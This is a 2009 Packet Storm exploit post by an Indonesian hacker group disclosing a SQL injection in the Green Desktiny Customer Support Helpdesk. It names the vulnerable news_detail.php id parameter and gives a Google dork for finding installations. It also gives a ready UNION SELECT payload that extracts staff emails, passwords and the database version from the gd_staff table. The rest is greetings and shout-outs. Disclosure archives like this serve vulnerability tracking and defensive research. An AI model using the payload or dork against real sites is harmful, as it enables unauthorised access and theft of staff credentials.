Green Desktiny Customer Support Helpdesk SQL Injection

2009-12-30T00:00:00
ID PACKETSTORM:84368
Type packetstorm
Reporter kaMtiEz
Modified 2009-12-30T00:00:00

Description

                                        
                                            `###################################################################################  
#  
[~] Green Desktiny - Customer Support Helpdesk SQL injection vulnerability - (id) #  
[~] Author : kaMtiEz (kamzcrew@gmail.com) #  
[~] Homepage : http://www.indonesiancoder.com #  
[~] Date : Desember 25, 2009 #  
#  
###################################################################################  
  
[ Software Information ]  
  
[+] Vendor : http://www.greendesktiny.com/  
[+] Download : -  
[+] version : 2.3.1 or lower maybe also affected  
[+] Vulnerability : SQL injection  
[+] Dork : "Think iT"  
[+] Price : $68   
[+] Location : INDONESIA - JOGJA  
  
##################################################################################  
  
  
[ HERE WE GO .. LIVE FROM JOGJA CITY ]  
  
[ Vulnerable File ]  
  
http://127.0.0.1/[kaMtiEz]/news_detail.php?id=[INDONESIANCODER]  
  
[ Exploit ]  
  
-666/**/union/**/select/**/666,666,666,666,666,666,666,666,666,concat_ws(0x3a,email,password),@@version,666/**/from/**/gd_staff--  
  
  
===========================================================================  
  
[ Thx TO ]  
  
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink  
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..  
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,  
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk  
  
[ NOTE ]  
  
[+] Nyak ama babe gua .. tak lupa adik gua ..  
[+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya ..  
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D  
  
[ QUOTE ]  
  
[+] HAPPY BIRTHDAY TO DON TUKULSETO . WISH U ALL THE BEST .. KEEP MOVIN .. !  
[+] merry x-mas and happy new year .. :D  
  
[ EOF ]  
  
[+] INDONESIANOCODER TEAM  
[+] KILL -9 TEAM  
  
`